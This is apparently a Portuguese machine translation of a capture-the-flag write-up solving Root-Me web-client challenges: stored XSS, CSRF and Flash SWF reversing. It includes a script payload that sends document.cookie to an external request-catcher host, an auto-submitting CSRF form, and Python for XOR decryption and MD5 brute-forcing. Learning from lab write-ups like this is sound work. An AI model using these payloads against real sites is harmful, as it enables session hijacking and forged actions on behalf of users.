Autenticação XSS, CSRF e Flash. Solução de problemas com o r0ot-mi Web - Client. Parte 2

imagem

Neste artigo, seqüestramos cookies através do XSS armazenado, lidamos com um ataque CSRF e invertemos um arquivo SWF do Flash. Links para artigos anteriores:

Parte 1: Web - autenticação javascript, ofuscação e código nativo. Solução de problemas com o r0ot-mi Web - Client.

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

XSS armazenado


imagem

Na tarefa, precisamos pegar os cookies do administrador. Abrimos o site. Vemos um formulário em que você precisa inserir um título e uma mensagem. Vamos entrar para ver como nossa entrada é exibida no formulário.

imagem

imagem

Então Vamos tentar verificar o XSS. Como carga, usarei o alerta usual.

<script>alert(1);</script> 

Como você pode ver, a janela de alerta foi exibida para nós, ou seja, o código javascript incorporado funcionou.

imagem

Como estes são armazenados XSS, é possível seqüestrar os cookies de outros usuários. Se você não possui seu próprio servidor na rede global, poderá usar este site .

imagem

Aqui nos é dado um endereço onde podemos observar todas as solicitações para esse endereço. Agora introduza a próxima carga útil.

 <script> document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>"); </script> 

Quando o usuário abre uma página com esse código, o agente tenta fazer o download da imagem e executar uma solicitação neste endereço. Ele usará seu cookie como parâmetro. Em seguida, analisamos o parâmetro com o qual a solicitação veio - este será o cookie.

imagem

Por que o seqüestro de cookies é perigoso? Ao inserir cookies para este site em nosso navegador, entraremos no site em nome desse usuário, ignorando o processo de autenticação.

CSRF


imagem

Na atribuição, precisamos ativar sua conta. Vamos dar uma olhada no site. Somos atendidos por um formulário de autorização.

imagem

Selecionamos o registro e registramos no site.

imagem

É-nos dito que teremos acesso total quando o administrador ativar nossa conta.

imagem

imagem

Quando você tenta marcar a caixa você recebe uma mensagem de que não somos um administrador.

imagem

Mas podemos entrar em contato com o administrador, ou seja, ele abrirá a página. O significado de CSRF é que o usuário executa ações sem conhecê-lo. Ou seja, podemos forçá-lo a enviar um formulário já preenchido. Vamos verificar se existe um token definido e verificado pelo servidor - como proteção contra esses ataques. É diferente toda vez.

imagem

Não há token. Essa forma de carga sairá dessa forma.

 <form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="ralf"> <input type="checkbox" name="status" checked > <button type="submit">Submit</button> </form> <script>document.getElementById("form").submit()</script> 

Aqui está um formulário já preenchido com nossos dados, com uma marca de seleção ativada. O código Javascript o envia depois de carregar a página, respectivamente, em nome do administrador que a visualizou.

imagem

imagem

Após algum tempo, atualizamos a página. Nossa conta foi ativada.

imagem

Flash


imagem

Precisamos encontrar um código válido. Vamos abrir a página. Somos atendidos por algum tipo de mecanismo de código.

imagem

Vamos dar uma olhada no código.

imagem

Vemos que o código convertido é verificado no JS, que introduzimos. Resta descobrir o algoritmo de conversão. Também no código, há um link para o arquivo swf. Vamos fazer o download.

imagem

Vemos que este é um Macromedia Flash compactado. Para reverter esses arquivos, prefiro usar JPEXS.

imagem

Nós encontramos o script principal.

imagem

Vamos desmontar.

imagem

Ele carrega os dados de outro script aninhado, os morde com a chave e os envia para execução. Vamos fazer isso. Primeiro, encontramos esses dados.

imagem

E, em seguida, exporte para um arquivo separado.

imagem

Agora proxor-los com a chave.

 f = open('1_RootMe_EmbeddedSWF.bin', 'r') swf_crypt = f.read() f.close() key = 'rootmeifyoucan' swf_decrypt = '' for i in range(len(swf_crypt)): swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)])) f = open('NewEmbedded.swf', 'w') f.write(swf_decrypt) f.close() 

Temos um novo arquivo. Abra-o no JPEXS.

imagem

Encontramos o script principal e começamos a analisar.

imagem

Como você ainda precisa escrever um código. Vou publicar partes dele.

 but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' 

Aqui vemos o código de cada botão e sua localização nas coordenadas. Isso nos ajudará a entender qual botão possui qual código.

imagem

Aprendemos com isso que o comprimento do código deve ser igual ou superior a 12. E que o valor final é o hash MD5 da string invertida.

 from hashlib import * import itertools for var in itertools.product('1234', repeat=12): ... ... if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() 

imagem

Em vez de descrever, simplesmente darei esse código em python'e.

 code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] 

Portanto, precisamos separar 4 ^ 12 = 16777216 opções. Um pouco.

 from hashlib import * import itertools but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' for var in itertools.product('1234', repeat=12): code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() print("Password: %s, code: %s" % (var, code)) if h == Hash: print('Correct password:' + "".join(var)) Break 

imagem

Tem uma senha e código.

Mais e mais complicado ... Você pode se juntar a nós no Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre nos ajudar em qualquer problema de segurança da informação e da TI.

Source: https://habr.com/ru/post/pt477254/


All Articles